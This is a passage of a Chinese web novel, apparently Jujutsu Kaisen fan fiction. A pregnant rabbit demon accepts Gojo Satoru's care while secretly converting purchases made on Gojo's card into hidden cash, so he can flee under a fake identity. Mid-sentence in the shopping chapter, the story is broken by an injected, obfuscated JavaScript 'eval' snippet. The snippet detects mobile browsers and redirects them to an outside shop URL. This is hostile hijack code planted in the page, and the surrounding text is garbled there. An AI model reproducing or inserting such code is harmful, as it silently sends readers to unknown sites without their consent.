涂白接过去,漱了漱口,感觉好了一点。他撑着马桶边缘想站起来,腿却有点软。五条悟伸手扶住他的胳膊,把他拉起来。 “好点了吗?”五条悟盯着他的脸,眉头皱得紧紧的,“脸色好白。” “嗯……”涂白靠在洗手台上喘气,“应该是……孕吐。” 他说出这个词的时候,声音有点虚。虽然这几天已经查了不少资料,知道这是正常反应,可真正经历的时候还是觉得难熬。 更让他心里发堵的是,站在他面前的这个人,这个本该对一切游刃有余的“最强”,此刻却因为他的孕吐而露出这种……笨拙的担心。 五条悟显然也没经验。他站在原地愣了两秒,然后突然说:“你等一下。” 他又出去了。这次涂白听见他翻手机的声音,还有压低了嗓音的说话声——大概是在给谁打电话咨询。 涂白撑着洗手台,看着镜子里自己苍白的脸,还有站在客厅里背对着他打电话的那个高大背影。 五条悟穿着宽松的灰色居家服,白色的头发在晨光里毛茸茸的。他一只手拿着手机,另一只手无意识地抓了抓头发,动作里透着点罕见的无措。 涂白垂下眼睛。 不该心软的。他在心里对自己说。这都是计划的一部分,演戏而已。 可当五条悟挂掉电话走回卫生间,手里多了一盒苏打饼干和一小瓶梅干时,涂白还是感觉心脏某个地方被轻轻戳了一下。 “硝子说可以先吃点这个压一压。”五条悟把饼干拆开,递过来一片,“她说如果持续吐得厉害就得去看她。你感觉怎么样?还想吐吗?” 涂白接过饼干,小口小口地啃。饼干很干,但吃下去之后胃里确实舒服了一些。他摇摇头:“好多了。” 五条悟松了口气。他靠在门框上,看着涂白吃完一片饼干,又递过去一片。冰蓝色的眼睛一眨不眨地盯着他,像是生怕错过他脸上任何一点不适的表情。 涂白被看得有些不自在,别开脸:“你……你不用去高专吗?” “今天上午没课。”五条悟说,“而且你这样我怎么走。” 他说得理所当然。涂白捏着饼干的手指紧了紧。 吃完三四片饼干,恶心的感觉终于压下去了。涂白洗了把脸,抬起头时,从镜子的倒影里看到五条悟还站在他身后。那人不知什么时候又把眼罩戴回去了,但下巴上冒出了一点青色的胡茬,眼下也有淡淡的阴影。 “前辈你昨晚没睡好吗?”涂白下意识问出口。 五条悟愣了一下,随即笑了:“很明显吗?看了点资料,睡得晚了。” “什么资料?” “就……孕期相关的。”五条悟抓抓头发,语气随意,但涂白看见他耳尖有点泛红,“总得知道怎么回事吧,不然你吐成这样我都不知道该干嘛。” 涂白不说话了。他转过身,绕过五条悟走出卫生间,回到卧室坐在床边。五条悟跟了进来,在他旁边坐下。 晨光从窗帘缝隙里漏进来,在木地板上投出一小片暖黄。房间里很安静,只能听见两人轻微的呼吸声。 涂白盯着地板上的光斑,手指无意识地揪着睡裤的布料。他需要钱,需要很多钱。 一个人带孩子跑路需要资金,假身份需要资金,在陌生的国家重新开始也需要资金。光靠他之前做咒术师任务的积蓄远远不够。 而最快的资金来源,现在就坐在他旁边。 他深吸一口气,抬起头看向五条悟。 “前辈。”他叫了一声,声音很轻。 “嗯?”五条悟立刻转过头来。 涂白舔了舔有些干的嘴唇,手指绞在一起:“我……我有点害怕。” 五条悟的表情立刻认真起来:“怕什么?” “怕以后。”涂白低下头,看着自己的小腹——那里还平坦着,但他已经能感觉到那团温暖的能量,“我怕我养不好他,怕给他不够好的生活。也怕……怕自己一个人应付不来。” 五条悟沉默了几秒。然后他伸手,轻轻握住涂白绞在一起的手。 “不会是一个人。”他说,声音很稳,“我在这儿呢。” 涂白咬住下唇:“可是……钱呢?生孩子要钱,养孩子更要钱。我现在还在上学,任务收入也不稳定……” 他没有说完,但意思已经很明显了。 五条悟看着他,突然笑了。他松开涂白的手,站起身走到衣柜前,从挂着的外套口袋里掏出钱包,抽出一张黑色的卡片走回来。 “给。”他把卡片塞进涂白手里。 涂白低头看。那是一张磨砂质感的黑卡,右下角有烫金的字样,没有额度限制。卡还是温的,带着五条悟的体温。 “这是我的副卡。”五条悟在他旁边重新坐下,语气轻松得像是在讨论今天天气,“密码是你生日。想买什么就买,不用问我。” 涂白捏着那张卡,感觉指尖发烫。他设想过很多种可能——五条悟可能会犹豫,可能会问他要多少,可能会说“需要什么我帮你买”。但他没想到对方会这么干脆,干脆得让他心里那点算计显得格外龌龊。 “这……这太多了。”他听见自己干巴巴地说。 “不多。”五条悟说,伸手揉了揉他的头发,“我的就是你的。以后孩子的开销都从这儿出,你的开销也是。别想那么多,嗯?” 涂白看着手里的黑卡,又抬头看看五条悟。那人戴着墨镜,他看不清对方的表情,但能感觉到落在他身上的目光是温和的。 “谢谢。”他小声说,把卡紧紧攥在手心。 卡片的边缘硌得掌心生疼。 --- 上午十点,涂白站在银座一家高档婴儿用品店的门口。 他换了一身宽松的米色毛衣和深色长裤,头发仔细梳过,脸上也稍微打了点底妆掩盖苍白。手里拎着一个简约的帆布袋,里面装着钱包、手机,还有那张黑色的卡。 橱窗里陈列着精致的婴儿床、柔软的小衣服、还有各种看起来就价格不菲的育儿用品。玻璃反射出他的身影——一个看起来年纪不大、样貌清秀的年轻男性,正盯着婴儿用品发呆。 路过的几个女性好奇地看他一眼,小声议论着“是准爸爸吧”、“长得真好看”。 涂白深吸一口气,推门走了进去。 “欢迎光临!”穿着制服的女店员立刻迎上来,笑容甜美,“先生是来挑选婴儿用品的吗?需要我为您介绍吗?” 涂白点点头,露出一个恰到好处的、略带羞涩的笑容:“嗯,我想……提前准备一些东西。” “是给即将出生的宝宝吗?”店员眼睛一亮,“恭喜您!您太太没有一起来?” 涂白顿了顿,笑容不变:“他今天有点忙。” 店员了然地点头,没有多问,热情地开始带他逛起来。这家店很大,分区明确,从新生儿衣物到洗护用品,从婴儿床到安全座椅,一应俱全。每一样东西都设计得精致可爱,标签上的价格也同样“精致”。 涂白一边听店员介绍,一边在心里快速计算。 这件连体衣,纯棉材质,品牌溢价至少百分之六十,转手卖掉的话能回血七成。 那个婴儿床,实木手工制作,价格抵得上普通工薪阶层两个月工资,但二手市场同样紧俏,折现率应该不错。 还有这些奶瓶、温奶器、消毒柜……都是标榜“高端”、“进口”的牌子,买下来再通过特定渠道转卖,至少能套现一半以上的资金。 “先生您看,这套寝具套装是欧洲进口的有机棉,对宝宝皮肤特别好。”店员拿起一套淡蓝色的小被子小枕头,“很多准爸妈都会选这个系列。” 涂白伸手摸了摸。布料确实柔软。他点点头:“这套要了。” 店员笑得更灿烂了:“好的!您还需要看看婴儿车吗?我们新到了一款高景观的,避震效果特别好——” “看看。”涂白说。 接下来的一个小时,涂白几乎把店里所有品类的“高端线”都点了一遍。店员跟在他身后,手里的平板电脑上清单越拉越长,脸上的笑容也越来越控制不住——这大概是这个月最大的一单了。 “先生,您对宝宝真好。”在涂白又点了一台进口空气净化器后,店员忍不住说,“这么细心提前准备这么多,您太太一定很幸福。” 涂白正拿着一个安抚奶嘴端详,闻言手指微微一紧。他抬起头,对店员笑了笑:“应该的。” 笑容完美,语气温柔。只有他自己知道,此刻心里正在盘算的是:这台净化器原价二十八万日元,通过那个海外收藏家的渠道转卖,大概能拿回二十万左右。虽然会损失八万,但胜在安全,不会被追查资金来源。 至于为什么需要“不会被追查”…… 涂白垂下眼睛,把奶嘴放进购物篮。 结账的时候,店员看着屏幕上跳出来的总金额,眼睛都睁大了:“先、先生,一共是三百七十五万六千日元,您确认一下清单……” 涂白面色平静地递出那张黑卡。 店员刷完卡,把卡和收据双手递回来,语气里满是羡慕:“先生您真疼您的孩子。” 涂白顿了一下,只是笑着接过卡和收据:“谢谢。” 走出店门时,他手里多了好几个巨大的购物袋。店员贴心地帮他把东西提到了路边,还问他需不需要帮忙叫车。 涂白摇摇头,等店员离开后,他拿出手机,点开一个加密的联系人,发了条简短的消息:“货已备,老地方,分三批出。” 发完消息,他收起手机,拎着沉重的购物袋走到街角,拦了辆出租车。 车上,他靠在座椅里,看着窗外飞速后退的街景。手里还捏着那张黑卡,卡片的边缘在掌心印出了浅浅的红痕。 三百七十五万。这只是开始。 他需要更多。 --- 回到公寓时已经是下午一点。涂白拎着大包小包推开门,发现五条悟已经回来了,正盘腿坐在客厅地毯上打游戏。 听到开门声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155548|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,五条悟暂停游戏转过头来,看到涂白手里那堆东西时,挑了下眉:“哇,买这么多?” “嗯。”涂白把东西放在玄关,换了拖鞋走进来,“看到觉得需要的就买了。” 五条悟放下游戏手柄走过来,好奇地翻看那些购物袋。他拿出那套淡蓝色的寝具套装,抖开小被子看了看,又拿起那个奶瓶,对着光瞧了瞧。 “这么小?”他捏着奶瓶,表情有点新奇。 涂白正在喝水,闻言差点呛到。他放下杯子,看着五条悟一脸认真地研究奶瓶的样子,突然有点想笑。 “新生儿用的就是这么大。”他说。 五条悟点点头,又把奶瓶放回去,拿起那盒安抚奶嘴。他拆开包装,取出一个淡黄色的奶嘴,捏了捏。 “软的。”他说,然后做了个让涂白目瞪口呆的动作——他把奶嘴放进自己嘴里试了试。 “你干嘛!”涂白脸都红了。 五条悟把奶嘴拿出来,一脸无辜:“试试质感啊。万一太硬了宝宝不喜欢怎么办。” “那也不是你试!”涂白抢过奶嘴,塞回盒子里。 五条悟笑起来,又去翻别的袋子。他找出那件小小的连体衣,拎起来在自己胸前比了比——衣服小得可怜。 “真小。”他感叹,冰蓝色的眼睛里闪着某种柔软的光,“到时候就会有个这么小的家伙,穿着这个衣服……” 他说了一半停住了,只是低头看着手里那件小衣服,嘴角不自觉地弯着。 涂白站在一旁,看着五条悟对着婴儿用品傻笑的样子,突然觉得喉咙发紧。他转过身,假装去整理其他袋子,手指无意识地抠着今天新买的孕妇装标签。 标签有点硬,边缘粗糙,刮得指腹微微发疼。 不该看的。他在心里说。看了会心软。 可五条悟的声音还是从身后传来,带着点罕见的、毫不掩饰的期待:“小白,你说他会像谁多一点?” 涂白背对着他,声音有点干:“不知道。” “我希望眼睛像你。”五条悟说,语气轻松,“红眼睛多好看。头发嘛……像我也行,像你也行。不过要是继承了我的六眼可就麻烦了,得从小戴眼罩……” 他说着说着自己笑起来,像是在想象那个画面。 涂白闭上眼睛。 够了。别再说了。 --- 晚上吃过饭,涂白坐在沙发上看电视,五条悟洗了碗出来,在他旁边坐下。 “腰还酸吗?”五条悟问。 涂白愣了一下,点点头:“有点。” 孕早期的腰酸也是资料上写的症状之一,他确实有,但不算严重。可五条悟显然记在心里了。 “转过去,我给你按按。”五条悟拍拍他的背。 涂白犹豫了一下,还是转过身,背对着五条悟坐好。五条悟的手掌贴上来,隔着毛衣落在他后腰的位置。 起初的力道有点笨拙,时轻时重。涂白忍不住缩了一下。 “太重了?”五条悟立刻问。 “有点……” 五条悟调整了力道,这次好多了。温热的手掌在腰际缓缓按压,力道均匀,位置也找得准。涂白渐渐放松下来,舒服得眯起眼睛。 “我今天查了按摩手法。”五条悟一边按一边说,声音很近,就在他耳后,“说是这样能缓解腰酸。舒服吗?” “嗯……”涂白含糊地应了一声。 电视里在放什么他已经没注意了。五条悟的按摩手法其实还算不上多专业,但那份认真和小心翼翼透过手掌的温度传过来,让他紧绷了好几天的神经不知不觉松了下来。 困意慢慢涌上来。涂白的头一点一点的,身体不自觉地往后靠,最后几乎半靠在五条悟怀里。 五条悟的动作顿了一下。 涂白没有察觉,他在温暖和舒适的包围下,意识渐渐模糊。迷糊间,他感觉到那只手还在腰后轻轻按着,力道温柔得让人想叹息。他无意识地蹭了蹭,后脑勺抵在五条悟的肩膀上,找了个更舒服的姿势。 五条悟彻底停下了动作。 涂白半梦半醒间,感觉到那只手没有离开,而是轻轻落在了他的头发上,很轻地揉了揉。 然后他听见一声很低的、几乎听不见的叹气。 “睡吧。”五条悟说,声音压得很轻,“我在这儿。” 涂白想说什么,但困意太沉,最终只是含糊地“嗯”了一声,彻底陷入了睡梦中。 五条悟保持着这个姿势没有动。他低头看着怀里的人,看着涂白安静的睡脸,还有那随着呼吸轻轻颤动的睫毛。窗外的灯光透过窗帘缝隙漏进来,在那张苍白的脸上投下浅浅的阴影。 他的手指还停留在涂白的发间,指尖缠绕着几缕黑色的卷发。 许久,他才很轻地动了动,调整了一下姿势,让涂白靠得更舒服些。另一只手拿过遥控器,关掉了电视。 客厅陷入一片昏暗的安静。只有两人轻浅的呼吸声,和窗外遥远的、城市背景般的喧嚣。 五条悟抬起头,目光落在玄关处那几个还没拆完的购物袋上。他的六眼在昏暗中也看得分明——那些精致的包装,柔软的小衣服,还有那个被涂白抢回去的安抚奶嘴。 他看了很久,冰蓝色的眼眸在阴影里沉静如水。 然后他收回视线,重新低下头,看着怀里熟睡的人。手指无意识地,轻轻卷着那缕黑色的头发。 一圈,又一圈。 像在缠绕什么易碎的东西。 26. 第26章 :腹肌?摸一下! 涂白自己都不知道这股火气是从哪儿来的。 明明早上起来的时候还好好的。五条悟出门前还问他要不要带什么回来,他说了“上次那家店的酸梅”,五条悟说“好”。对话正常,语气正常,什么都没发生。 可等五条悟下午回来,手里拎着超市的购物袋,一样一样往外掏东西——酸奶、草莓、那种贵得要死的进口巧克力,还有一袋某品牌的酸梅——涂白看了一眼,不是他说的那家。 “不是这个。”他说。 五条悟正在把酸奶往冰箱里放,闻言回头:“什么?” “酸梅。”涂白盯着茶几上那袋包装精美的酸梅,“我说的是浅草那家,不是超市的。” 五条悟愣了一下,关上冰箱门走过来,拿起那袋酸梅看了看:“这个不好吗?硝子说孕期可以吃这个牌子的,添加剂少——” “我说的是那家的。”涂白打断他,声音不自觉地拔高,“我跟你说了的。” 五条悟看着他,表情有点茫然,像是在努力回忆,但显然没想起来。他张了张嘴:“你说了吗?什么时候——” 话没说完。 一个抱枕迎面砸过来,正中他的脸。 抱枕是软的,不疼。但五条悟明显愣住了。他接住掉下来的抱枕,站在原地,脸上的表情从茫然变成惊讶,又从惊讶变成某种说不清的复杂。 涂白自己也愣住了。 他坐在沙发上,手还保持着扔东西的姿势,胸口剧烈起伏着。他不知道自己为什么要发这么大脾气——明明只是一袋酸梅,明明五条悟只是忘了,这种事情有什么好生气的? 可那股火气就是压不住,梗在喉咙里,堵在胸口,逼得他必须做点什么来发泄。 空气安静了几秒。 “对不起。”五条悟先开口了。 他放下抱枕,没有生气,没有质问,甚至没有露出那种被冒犯的表情。他只是看着涂白,语气很轻:“是我记性不好。那家店在浅草是吧?我现在去买。” 涂白张了张嘴,想说你不用去,其实超市的也可以。但话到嘴边,喉咙却像被什么东西堵住了,一个字都说不出来。 五条悟已经转身往外走了。他走到玄关,拿起外套披上,手搭在门把手上,又回头看了涂白一眼。 “等我半小时。”他说,“要是困了先睡。” 门开了,又关上。 涂白一个人坐在沙发上,盯着茶几上那袋被嫌弃的酸梅。包装很精致,梅子的图片拍得很诱人,标签上写着“无添加”“古法制作”。 他伸手拿起那袋酸梅,捏了捏。 然后把它放回去,蜷起腿,把脸埋进膝盖里。 不对。 不应该是这样的。 刚才那一瞬间的情绪是真的——不是“演”出来的生气,是真的、控制不住的火气。可他凭什么对五条悟发火?明明是他自己在利用对方,明明五条悟什么都没做错,只是忘了买一个指定牌子的零食。 他甚至不确定自己到底是在生气那袋酸梅,还是在生气别的什么。 比如生气五条悟对他太好,让他越来越难下定决心跑路。 比如生气自己明明在算计,却还是会在这种小事上钻牛角尖。 比如生气…… 涂白把脸埋得更深。 算了,不想了。 他保持着这个姿势,在沙发上蜷了很久。客厅里很安静,只有墙上挂钟的秒针在走,咔嗒,咔嗒。 大约过了二十分钟,门口传来动静。 涂白抬起头。 五条悟回来了。他头发有点乱,大概是刚才瞬移时被风吹的。手里提着一个纸袋,还有——一束花。 向日葵。包在牛皮纸里,金黄色的花瓣,开得很盛。 他把纸袋放在茶几上,把花递给涂白。 “路上看到花店刚开门。”五条悟说,“觉得你可能会喜欢。” 涂白低头看着那束向日葵。 向日葵的花语是什么来着?他记得好像有“沉默的爱”、“忠诚”之类的意思。但他不确定五条悟知不知道这些,可能只是觉得好看才买的。 他伸手接过花,没说话。 五条悟蹲在茶几边,打开那个纸袋,开始往外拿东西。不止一种酸梅——是很多种。 “这是浅草那家的。”他把一个朴素的白纸袋放到涂白面前,“原味的话梅,还有紫苏的、蜂蜜的。老板说新出了一款陈皮味,也买了。” 他又拿出另一个盒子:“这家是日本桥那边的,硝子说有些人更喜欢这个牌子,你先试试。” 还有一个玻璃罐子:“这家是京都的老铺子,酸味比较轻,可能不适合你,但我看包装好看……” 他一样一样往外拿,很快摆满了半个茶几。 “不知道你具体想要哪种口味。”五条悟说,“所以都买了。” 他抬起头,冰蓝色的眼睛隔着墨镜看着涂白,带着点试探,也带着点认真:“还生气吗?” 涂白捧着那束向日葵,看着茶几上摆得到处都是的酸梅罐子。 他张了张嘴,想说话,但一开口声音就哑了:“……你干嘛啊。” 五条悟眨了眨眼:“什么?” “你干嘛不生气。”涂白说,声音闷闷的,还带着一点鼻音,“我拿抱枕砸你了。” 五条悟愣了一下,然后笑了。 “跟孕夫计较什么。”他站起身,坐到涂白旁边,语气轻松得像在说今天天气不错,“况且是我不好,你明明说过了我给忘了。” “那也不是什么大事。”涂白低头看着手里的花,“就是一袋酸梅……” “对你来说是大事。”五条悟说,“你说的,那就是大事。” 涂白不说话了。 他盯着向日葵金黄的花瓣,盯了很久,盯到眼眶开始发酸。他用力眨了眨眼,想把那股酸意逼回去,但没用。 他放下花,扑过去,一口咬在五条悟肩膀上。 没用力。 与其说咬,不如说用牙齿磕着那块布料,像是在发泄什么,又像是在确认什么。 五条悟身体僵了一下,随即放松下来。他没有躲,反而伸手环住涂白的背,轻轻拍着。 “咬吧。”他说,声音带着笑意,“出气就好。” 涂白维持着那个姿势,牙关抵在五条悟肩头。他闻到了五条悟身上淡淡的洗衣液香味,还有一点风尘仆仆的气息,大概是刚才瞬移时沾上的。 他慢慢松开嘴,但没有退开,额头抵着五条悟的肩膀。 “……你为什么脾气这么好。”他闷声说。 “我脾气不好。”五条悟说,“只是对你比较好。” 涂白没抬头。 他感觉到五条悟的手还搭在他背上,一下一下地拍着,节奏很慢,像在哄小孩。这个认知让他脸上有点发烫,但他不想动。 就这样待一会儿吧。他想。就一小会儿。 五条悟也不催他。两人就这么安静地靠着,窗外天色渐渐暗下来,客厅没开灯,光影慢慢模糊成一团。 过了很久,涂白才动了动,从五条悟怀里退出来。他低着头,伸手去够茶几上那袋浅草的原味酸梅,拆开包装,拿出一颗塞进嘴里。 酸。很酸。酸得他眯起眼睛,但确实是他想要的那种味道。 五条悟看他吃了,也伸手拿了一颗。放进嘴里嚼了两下,眉头皱成一团:“这么酸?” “孕夫的口味你不懂。”涂白说,又拿了一颗。 五条悟没反驳,只是倒了杯水放他手边。 涂白窝在沙发角落里,一颗接一颗地吃酸梅。五条悟没走,也没说话,就坐在旁边看手机。屏幕的光映在他脸上,把墨镜边框照出一道细细的白线。 过了一会儿,涂白余光瞥见五条悟在打字。他悄悄斜过眼,看到搜索框里那行字—— “孕夫情绪敏感怎么办”。 搜索结果很快跳出来。涂白看不清具体内容,但看见了置顶回答加粗的第一行: 一个字:宠着。 五条悟盯着那个“宠”字看了两秒,嘴角不明显地弯了一下。 他锁了屏,把手机放到一边,若无其事地拿起另一颗酸梅。 涂白收回视线,低头继续吃。 他没说话,只是把那颗酸梅嚼得很慢,很慢。 --- 半夜两点,涂白是被一阵剧痛弄醒的。 那种痛从右小腿深处钻出来,像是有人把肌肉拧成了一股绳,硬生生往骨头里拽。他倒吸一口凉气,本能地想去揉,但一动更疼了,疼得他整个身体都僵住了。 “嘶——” 身边传来窸窣声。五条悟几乎是同一时间坐起来的,动作太快,眼罩都歪到了一边。 “怎么了?”他声音还带着刚醒的低哑,但手已经摸过来了,“抽筋?” 涂白说不出话,咬着牙点头。 五条悟掀开被子,把他的右腿轻轻拉过来,放在自己腿上。他一只手固定住脚踝,另一只手从脚底开始向上推按,力道不轻不重,动作出奇熟练。 涂白疼得眼角渗出生理性的泪水,但五条悟的手法确实有效,那根拧成麻花的肌肉在他的按压下慢慢松开了。 “疼吗?”五条悟没抬头,专心按着他的小腿。 “……好点了。”涂白声音有点抖。 五条悟嗯了一声,继续按。他的手指很长,掌心温热,覆在涂白的小腿上,不紧不慢地推着,从脚踝到膝盖窝,再从膝盖窝回到小腿肚。 涂白渐渐放松下来,这才有余裕去看五条悟。 那人低着头,垂着眼,正专注地给他按摩。眼罩歪挂在脖子上,露出完整的眉眼——平时被遮住的那对眼睛,此刻在台灯微弱的光线下显得格外沉静。冰蓝色的虹膜边缘有一圈细碎的深蓝,像深海与浅滩的交界处。 涂白盯着那圈蓝色看了几秒,然后视线不自觉地往下移。 五条悟上半身穿着一件宽松的黑色背心,俯身动作让布料垂下来,领口敞得很开。从他这个角度,正好能看见—— 涂白猛地别开脸。 看见了。腹肌。四块。不,应该不止四块,但只看见四块,下面被被子挡住了。 他没想看的。真的没想。但那个角度,那个光线,那个近在咫尺的距离——他不是故意的。 问题是五条悟肯定发现了。 因为那只正在按摩他小腿的手忽然停了一下。 “小白。”五条悟的声音带着明显的笑意,“你在看什么?” “没看什么。”涂白盯着天花板,声音紧绷。 “没看什么那你为什么把脸转过去了?” “热。” “晚上开了空调二十度,哪里热了。” 涂白不说 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涂白觉得自己要冒烟了。 不只是脸,是整颗头,整个上半身。那种热度从心脏泵出来,顺着血管烧遍四肢百骸,烧得他指尖都在发抖。 然后,他的耳朵冒出来了。 不是形容词,是字面意义上的——头顶一沉,一对毛绒绒的黑色兔耳“噗”地弹了出来,在空气中警惕地竖着,微微抖动。 五条悟盯着那对耳朵,愣住了。 涂白也愣住了。 下一秒,他用尽全身力气把手从五条悟掌心抽出来,拽起被子,从头到脚把自己蒙了个严严实实。 “我睡了!” 被子里传出的声音又闷又急。 五条悟看着床上鼓起来的那一团,和被子边缘露出来的、还在小幅度抖动的黑色兔耳朵,愣了两秒。 然后他笑出声。 不是那种克制的、礼貌的笑,是憋不住的那种,肩膀都在抖。 被子里那团动了一下,耳朵压得更低了,紧紧贴着被子表面,像是想把整对耳朵也塞进去藏起来。 “别笑了!”闷闷的声音从被子深处传来。 “好,不笑。”五条悟说,但明显还在笑。 他清了清嗓子,勉强把笑意压下去,语气正经了那么一点点:“小白。” 被子没动。 “作为交换——”他故意拖长音调,“你不应该也让我摸一下你的腹部吗?” 被子团剧烈地抖动了一下。 “不要!” 拒绝得斩钉截铁,没有商量余地。 五条悟露出遗憾的表情:“小气。” 被子里传来一声含糊不清的、很像骂人的声音。具体骂了什么听不清,但语气很不客气。 五条悟又笑了笑,没再逗他。他躺回去,伸手把台灯调暗,枕着手臂看着天花板。 过了一会儿,他侧过身,看着身边那团裹得严严实实的被子。 被子边缘,那对黑色的兔耳朵还露在外面,软软地垂着,偶尔动一下。 五条悟看着那对耳朵,轻声说:“晚安,小白。” 被子里没回应。 但兔耳尖微微动了动,像是不自觉的。 五条悟闭上眼睛。 --- 很久之后,久到五条悟的呼吸变得绵长安稳,涂白才悄悄把被子往下拉了一点点。 露出一双眼睛。 台灯还剩最后一圈暗黄的光,把房间染成暖色调。五条悟睡在他旁边,侧脸被光线勾勒出柔和的轮廓,闭着眼睛的时候,那对苍蓝的眸子被遮住,整张脸看起来比白天年轻好几岁。 涂白盯着他的睡脸看了一会儿。 然后他轻轻翻了个身,背对五条悟。 心跳还是有点快。耳朵还收不回去,毛绒绒地搭在枕头上。 他把手从被子里抽出来,放在自己腹部——那里还很平坦,但能感觉到那团温暖的能量,像一颗小小的、跳动的火种。 “你爸爸是个笨蛋。”他对着肚子,用只有自己能听见的声音说。 那团能量安静地跳了一下,像是在回应。 涂白闭上眼睛。 今晚的心软太多了。明天要更小心才行。 他在心里这样告诉自己。可指尖还残留着刚才那几秒的触感——温热的、紧实的、带着生命力的。 他蜷起手指,把那只手也缩回被子里。 窗外的月光从窗帘缝隙漏进来,在床尾落下一道细长的白。 再过几天,等账户里的钱转到第三批,假身份的信息就可以走完最后一道程序。 再过一段时间,等肚子再大一点,等五条悟对他更放心…… 涂白睁开眼睛,看着黑暗中的天花板。 他还有多少时间? 一个月?两个月?还是三个月? 他不知道。他只知道,时间不多了。 而他发现自己好像……越来越不确定,自己到底想不想跑。 这个念头刚一冒出来,就被他狠狠按下去。 不想了。 他闭上眼睛。 今晚想太多了。 明天一定要更小心。 一定。 27.第27章 :被盯上了 早上九点,涂白坐在书桌前,面前摊着一本建筑设计图册。他手里拿着一支铅笔,在旁边的素描本上涂涂画画,但心思完全不在这上面。 昨晚又没睡好。倒不是因为腿抽筋——自从五条悟开始给他补钙片,睡前做拉伸,抽筋的次数确实少了。是别的。乱七八糟的梦,碎片一样的场景,醒来就记不清了,只留下一种沉甸甸的、说不清的憋闷感。 他放下铅笔,揉了揉太阳穴。最近妖力消耗有点大。为了准备那些“货”,他连着几天都在用构筑术式复制那些高价婴儿用品。虽然每次量都不多,但架不住次数频繁。再加上“孕期”本身就在持续消耗妖力…… 他感觉身体里那股力量像是一池水,水位在缓慢下降。虽然离干涸还远,但这种不受控制的流失感让他不安。 书桌对着窗户,晨光斜斜地照进来,在木质地板上投出一片明亮的方格。涂白盯着那片光,眼睛有点发花。 他打了个哈欠,眼泪冒出来一点。他抬手擦了擦,靠在椅背上,闭上眼睛,想稍微缓一缓。 意识开始变得有点模糊。他好像听见厨房传来水声,还有五条悟哼歌的声音——调子跑得离谱,但听久了居然觉得有点顺耳。 就在这时,他感觉到头顶有点痒。 不是头皮痒,是更靠上的位置。一种轻微的、毛茸茸的触感,像是有什么东西要从皮肤下面钻出来。 涂白猛地睁开眼睛。 他下意识抬手去摸头顶。手指碰到的是柔软、温热、带着细密绒毛的……东西。 他僵住了。 几秒后,他几乎是弹起来冲到卫生间,对着镜子。 镜子里的人脸色有点白,眼睛因为惊讶睁得很大。而在那头黑色卷发中间,赫然立着两只长长的、毛茸茸的兔子耳朵。耳朵是黑色的,尖端有一点白,此刻正因为他的慌乱而微微抖动着。 涂白盯着镜子,心脏砰砰直跳。 耳朵又出来了。在完全没控制的情况下,自己冒出来了。 是妖力不稳。绝对是。这段时间消耗太大,加上“孕期”的影响,他对身体的掌控力在下降。 他深吸一口气,闭上眼睛,试图集中精神把耳朵收回去。妖力在体内运转,耳朵颤了颤,慢慢缩回去一点,但很快又弹了出来,甚至还抖得更欢了。 不行。完全控制不住。 涂白咬住下唇。他不能这样出去见五条悟。虽然对方早就知道他是兔妖,也见过自己这个样子,但是像这样毫无防备地在对方面前露出原型部分,还是让他觉得……难堪。 他试着又集中了一次精神。这次耳朵终于勉强缩回去了,但依旧能感觉到它们还在头顶蠢蠢欲动,随时可能再冒出来。 涂白盯着镜子里的自己,看了很久。最后他放弃似的叹了口气,转身走出卫生间。 算了。反正五条悟早就知道。反正……反正他现在是“孕夫”,什么反常都可以推给这个理由。 他走回客厅,五条悟正好从厨房出来,手里端着两个盘子。今天是西式早餐,煎蛋、培根、烤面包,还有一小碗水果沙拉。 “吃饭了——哦?”五条悟话说到一半停住了。他盯着涂白的头顶,墨镜滑下一点,露出底下冰蓝色的眼睛。 涂白下意识抬手捂住头顶,但已经晚了。五条悟显然看见了。 “耳朵怎么出来了呀?”五条悟说,语气里带着点新奇。他把盘子放在餐桌上,走过来,在涂白面前停下。 涂白垂下眼睛,没说话。他能感觉到五条悟的视线落在自己头顶,那目光很专注,带着探究,但没有恶意。 “我能摸摸吗?”五条悟问,声音很轻,像是在征求同意。 涂白愣了一下。他抬起头,看向五条悟。对方脸上带着点好奇,还有点小心翼翼的期待,像小孩子看到什么新奇玩意儿。 他犹豫了几秒,然后缓缓点了点头。 五条悟笑了。他伸出手,手指很轻地碰了碰涂白右耳的尖端。 涂白浑身一抖。 耳朵比人形时的任何部位都要敏感。五条悟的手指带着温热的体温,碰触的力道很轻,几乎像是羽毛拂过。可那种触感却清晰地传遍全身,让他后颈的汗毛都立起来了。 他咬住下唇,忍住没躲开。 五条悟似乎察觉到了他的反应,动作更轻了。他的手指顺着耳朵的轮廓慢慢往下,抚过柔软的绒毛,在耳朵根部停顿了一下,然后很轻地揉了揉。 “软软的。”五条悟说,声音里带着点笑意,“毛很密,手感很好。” 涂白耳朵抖了抖,不受控制地垂下来一点——这是兔妖放松时的本能反应。他感觉脸颊有点烫,别开脸,小声说:“摸够了吧……” 五条悟收回手,但眼睛还盯着那两只耳朵:“怎么突然出来了?不舒服吗?” “妖力有点不稳。”涂白说着,转身走向餐桌,拉开椅子坐下,“最近……可能消耗有点大。” 五条悟在他对面坐下,把一盘早餐推到他面前:“因为宝宝?” 涂白顿了顿,点点头:“嗯。” 这是最方便的理由。反正一切异常都可以归咎于“孕期”。 五条悟没再追问,开始吃自己的那份早餐。但他时不时会抬头看涂白一眼,视线总是不自觉飘向那两只黑色的兔耳朵。 涂白低着头吃饭,能感觉到那目光。他努力装作不在意,可耳朵却不受控制地动了动,像是在回应那份注视。 一顿饭吃得异常安静。只有餐具碰撞的轻微声响,和窗外偶尔传来的鸟叫声。 吃到一半,五条悟的手机响了。 他放下叉子,拿起手机看了一眼屏幕,眉头微不可察地皱了一下。然后他站起身,对涂白说:“我接个电话。” 说完他走进卧室,关上了门。 涂白盯着那扇紧闭的门,咀嚼的动作慢了下来。他听不见五条悟在说什么,只能隐约听见一点模糊的声音,语气似乎不太愉快。 是什么电话,需要特意避开他接? 涂白放下叉子,突然没了胃口。他端起杯子喝了口水,眼睛还盯着卧室的门。 